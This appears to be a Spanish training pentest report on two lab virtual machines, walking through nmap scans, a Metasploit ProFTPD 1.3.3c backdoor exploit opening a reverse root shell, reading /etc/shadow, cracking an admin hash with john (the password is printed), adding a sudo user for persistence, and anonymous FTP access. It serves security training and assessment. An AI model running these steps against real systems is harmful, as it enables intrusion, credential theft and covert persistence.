

PENTESTING A SAGUNTECH



Expediente	Actividad-12
Código de autenticación	20260225
Empresa contratada	SagunTech
Pentester	Marina del Pilar López Oliva
Fecha	25/02/2026

Índice

Informe ejecutivo.....	3
Síntesis de resultados.....	3
Recomendaciones.....	4
Informe técnico.....	4
Fase de reconocimiento y descubrimiento.....	4
Fase de reconocimiento y escaneo de vulnerabilidades con nmap.....	5
Escaneo de vulnerabilidades automatizado.....	7
Explotación de vulnerabilidades con Metasploit.....	9
Resumen técnico de los hallazgos.....	11
Conclusión técnica.....	11
Anexos.....	12
Anexo I: Comparativa NMAP, OpenVas, Nessus.....	12

Informe ejecutivo

El miércoles 24 de febrero se recibió la orden de realizar un prueba de seguridad (pentesting) a las máquina presentadas, perteneciente a la infraestructura de SagunTech. El propósito de esta auditoría ha sido simular el comportamiento de un atacante real para identificar posibles «puertas abiertas» antes de que personas malintencionadas puedan aprovecharlas.

Síntesis de resultados

Durante la evaluación de seguridad realizada sobre el sistema analizado, se ha detectado un **nivel de riesgo muy elevado**. Los resultados obtenidos muestran que el sistema presenta **graves debilidades de seguridad** que podrían ser aprovechadas por terceros para acceder sin autenticación.

El análisis evidencia la existencia de **fallos críticos**, así como un número significativo de problemas de gravedad alta y media. Estas debilidades permiten que una persona no autorizada pueda **acceder al sistema, consultar información sensible e incluso tomar control completo del mismo**, sin necesidad de permisos previos.

Los resultados visuales del análisis reflejan de forma clara que el sistema **no se encuentra adecuadamente protegido**, y que su estado actual supone una **amenaza directa para la empresa**. La combinación de múltiples fallos incrementa el impacto potencial de pérdidas para la organización.

En conclusión, el sistema evaluado presenta un **riesgo inaceptable** desde el punto de vista de seguridad y requiere actuaciones inmediatas para evitar posibles incidentes graves.

Los principales riesgos residen en el proftpd del machine1 y en el ftp del IES Camp-preexamen.

Recomendaciones

Con el fin de **reducir** el nivel de **riesgo** detectado y **mejorar** la **seguridad** del sistema, se recomienda aplicar las **siguientes medidas** con carácter prioritario:

- **Actualizar el sistema** y los programas instalados para corregir fallos conocidos
- **Eliminar configuraciones inseguras** y accesos innecesarios
- **Reforzar** los mecanismos de **acceso** para evitar usos indebidos
- **Limitar el acceso** al sistema únicamente a las personas y equipos autorizados
- Establecer **controles de supervisión** que permitan detectar actividades sospechosas

- Realizar **revisiones de seguridad** periódicas para prevenir futuros riesgos

La aplicación de estas medidas permitirá **reducir** significativamente la **exposición al riesgo**, mejorar la protección del sistema y garantizar un nivel de seguridad acorde a buenas prácticas.

Informe técnico

El presente informe técnico documenta de manera **detallada, estructurada y reproducible** las actividades realizadas durante la auditoría de seguridad sobre las máquina vulnerables proporcionada para el análisis, denominadas **machine1** y **IESCAMP-preexamen**.

El objetivo principal de este documento es **proporcionar al personal técnico** la información necesaria para **comprender, validar y reproducir** cada una de las acciones llevadas a cabo durante el proceso de evaluación de seguridad.

Como sistema atacante se ha utilizado una máquina con **Kali Linux**, operando con un usuario con privilegios administrativos. Durante la auditoría se han empleado las siguientes herramientas: **Netdiscover, Nmap y Metasploit Framework**.

Fase de reconocimiento y descubrimiento

Primero se va a identificar los hosts activos dentro de la red para determinar el objetivo de la auditoría.

Desde el sistema atacante se ejecuta un escaneo ARP utilizando la herramienta **Netdiscover**, lo que permite identificar dispositivos activos dentro del rango de red configurado. En este caso **192.168.56.0/24**. Se ha utilizado el comando «sudo netdiscover -r 192.168.56.0/24».

Se identifica tres máquinas, nos interesan las Ips 192.168.56.104 y 192.168.56.103.

Currently scanning: Finished! | Screen View: Unique Hosts

3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
192.168.56.100	08:00:27:12:96:77	1	60	PCS Systemtechnik GmbH
192.168.56.103	08:00:27:b4:ea:e7	1	60	PCS Systemtechnik GmbH
192.168.56.104	08:00:27:c3:a0:a7	1	60	PCS Systemtechnik GmbH

Fase de reconocimiento y escaneo de vulnerabilidades con nmap

En segundo lugar, se van a identificar los puertos abiertos y los servicios expuestos para determinar posibles vectores de ataque.

Se realiza un escaneo SYN para detectar puertos abiertos de forma sigilosa con el parámetro sS.

```

└─$ nmap -sS 192.168.56.103
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-25 13:17 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try u
ecify valid servers with --dns-servers
Nmap scan report for 192.168.56.103
Host is up (0.000084s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 08:00:27:B4:EA:E7 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds

```

Con el objetivo de identificar versiones específicas y asociarlas a vulnerabilidades conocidas, se ejecuta un escaneo de version con el parámetro sV.

```

└─$ nmap -sV 192.168.56.104
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-25 13:18 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --s
ecify valid servers with --dns-servers
Nmap scan report for 192.168.56.104
Host is up (0.000066s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      ProFTPD 1.3.3c
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:C3:A0:A7 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.61 seconds

```

Servicios identificados interesantes:

- ProFTPD 1.3.3c

- OpenSSH 7.2p2
- Apache 2.4.18

Para una primera identificación automatizada de vulnerabilidades se utilizan los scripts de la categoría vuln.

```

└─$ nmap --script=vuln 192.168.56.104
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-25 13:19 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.104
Host is up (0.00017s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
| ftp-proftpd-backdoor:
|   This installation has been backdoored.
|   Command: id
|_  Results: uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
22/tcp    open  ssh
80/tcp    open  http
| http-slowloris-check:
|   VULNERABLE:
|   Slowloris DOS attack
|   State: LIKELY VULNERABLE
|   IDs: CVE:CVE-2007-6750
|   Slowloris tries to keep many connections to the target web server open and hold
|   them open as long as possible. It accomplishes this by opening connections to
|   the target web server and sending a partial request. By doing so, it starves
|   the http server's resources causing Denial Of Service.
|
|   Disclosure date: 2009-09-17
|   References:
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|   http://ha.ckers.org/slowloris/
└─

```

Vulnerabilidades preliminares detectadas con este escaneo:

- Vulnerabilidad potencial **Slowloris DoS** en Apache (CVE-2007-6750)
- Vulnerabilidades en proftpd.

Se realiza un escaneo SYN para detectar puertos abiertos de forma sigilosa con el parámetro sS.

```

└─$ nmap -sV 192.168.56.103
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-25 13:35 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.103
Host is up (0.00014s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.0.8 or later
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.58 ((Ubuntu))
MAC Address: 08:00:27:B4:EA:E7 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.62 seconds

```

Con el objetivo de identificar versiones específicas y asociarlas a vulnerabilidades conocidas, se ejecuta un escaneo de version con el parámetro sV.

```

└─$ nmap --script=vuln 192.168.56.103
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-25 13:33 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.103
Host is up (0.000077s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
MAC Address: 08:00:27:B4:EA:E7 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 21.20 seconds

```

Se realiza un nmap mas agresiva.

```

└─$ nmap -A 192.168.56.103
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-25 14:18 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.103
Host is up (0.00045s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.0.8 or later
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_rw-r--r--  1 0      0      10671 Oct 03  2024 index.html
|_drwxr-xr-x  2 0      0      4096 Oct 07  2024 login
|_ftp-syst:
|_STAT:
|_FTP server status:
|_Connected to ::ffff:192.168.56.105
|_Logged in as ftp
|_TYPE: ASCII
|_No session bandwidth limit
|_Session timeout in seconds is 300
|_Control connection is plain text
|_Data connections will be plain text
|_At session startup, client count was 3
|_vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
|_ssh-hostkey:
|_256 5c:38:6e:8a:4b:bb:b4:2a:ca:cb:3a:94:62:9c:aa:7e (ECDSA)
|_256 06:c4:ea:41:7d:c3:4b:f7:8c:68:19:6b:5c:23:e4:70 (ED25519)
80/tcp    open  http     Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

```

Algo interesante: el ftp puede ser accedido con la identificación «anonymus».

Explotación de vulnerabilidades

Empezamos con la vulnerabilidad más llamativa, la del proftpd. Para ello, vamos a metasploit y buscamos el exploit que se quiera.

```
msf > search cve-2010-20103

Matching Modules
-----
#  Name                                     Disclosure Date  Rank      Check  Description
-  -                                     -              -      -      -
0  exploit/unix/ftp/proftpd_133c_backdoor  2010-12-02      excellent No      ProFTPD-1.3.3c Backdoor Comm
and Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/proftpd_133c_backdoor
```

Una vez localizada, ponemos las opciones como deben ser y procedemos con la explotación.

```
msf exploit(unix/ftp/proftpd_133c_backdoor) > show options

Module options (exploit/unix/ftp/proftpd_133c_backdoor):

  Name      Current Setting  Required  Description
  --      -
  CHOST      CPORT            no        The local client address
  Proxies    no               A proxy chain of format type:host:port[,type:host:port][ ... ]. Supported proxies: socks4, socks5, socks5h, http, sapni
  RHOSTS     192.168.56.104  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21               yes       The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.
```

```
msf exploit(unix/ftp/proftpd_133c_backdoor) > set payload cmd/unix/reverse_perl
payload => cmd/unix/reverse_perl
```

```
msf exploit(unix/ftp/proftpd_133c_backdoor) > set lhost 192.168.56.105
lhost => 192.168.56.105
msf exploit(unix/ftp/proftpd_133c_backdoor) > exploit
[*] Started reverse TCP handler on 192.168.56.105:4444
[*] 192.168.56.104:21 - Sending Backdoor Command
[*] Command shell session 1 opened (192.168.56.105:4444 => 192.168.56.104:39828) at 2026-02-25 13:32:15 -0500

whoami
root
id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
```

Con esto ya tenemos acceso como root desde metasploit. Con esto podemos acceder a las contraseñas, obtener las contraseñas de admin en /etc/shadow y acceder a la máquina.

```
cat /etc/shadow | grep "admin"
admin:$6$fGbgqSozVAiclhce$QCTrFZxQDqLe.PgHKEsEnl33XJqthLNWCBPGsKpzK8EY/xwv5mJpBcdx4YC7JEVtTzzwR2TidlpPw1iDj9S8d1:19478:0:99999:7:::
```



```

└─$ nano hashadmin.txt
└─(kali㉿kali)-[~]
└─$ john --format=sha512crypt hashadmin.txt --wordlist=/home/kali/Downloads/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alexisyfido (?)
1g 0:00:01:25 DONE (2026-02-25 13:42) 0.01169g/s 2927p/s 2927c/s 2927C/s allie09..aedrian
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

```

Con esto accedemos a la máquina y podemos crearnos un usuario con los permisos de sudo.

```

admin@vtcsec:~$ sudo adduser backup_ssh
Adding user `backup_ssh' ...
Adding new group `backup_ssh' (1000) ...
Adding new user `backup_ssh' (1000) with group `backup_ssh'
Creating home directory `/home/backup_ssh' ...
Copying files from `/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for backup_ssh
Enter the new value, or press ENTER for the default
    Full Name []: Backup
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n] y

```

```

admin@vtcsec:~$ sudo usermod -aG sudo backup_ssh

```

Con esto tenemos permanencia en esta máquina.

En la otra máquina hay vulnerable el ftp, podemos acceder como anónimos y obtener el fichero login.

```
└─$ ftp 192.168.56.103
Connected to 192.168.56.103.
220 Bienvenido Robin
Name (192.168.56.103:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||10233|)
150 Here comes the directory listing.
-rw-r--r--    1 0      0      10671 Oct 03  2024 index.html
drwxr-xr-x    2 0      0      4096 Oct 07  2024 login
226 Directory send OK.
ftp> cat login
?Invalid command.
ftp> cat index.html
?Invalid command.
ftp> cd login
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||51989|)
150 Here comes the directory listing.
-rw-r--r--    1 0      0      14 Oct 07  2024 login.txt
226 Directory send OK.
```

Además, vemos que saluda a un tal «Robin».

Dentro del archivo login encontramos dos nombre, rafael y monica.

```
ftp> get login.txt
local: login.txt remote: login.txt
229 Entering Extended Passive Mode (|||63262|)
150 Opening BINARY mode data connection for login.txt (14 bytes).
100% |*****| 14
226 Transfer complete.
14 bytes received in 00:00 (4.58 KiB/s)
```

Esta es una clave para entrar en la máquina, pero no nos da tiempo a más.

Conclusión técnica

La auditoría demuestra que los sistemas presentan **múltiples vulnerabilidades críticas** que permiten el compromiso total del sistema sin necesidad de autenticación previa. Las acciones documentadas en este informe pueden ser reproducidas siguiendo los pasos descritos, lo que confirman su **validez técnica de los hallazgos** y la necesidad de aplicar **medidas correctivas inmediatas**.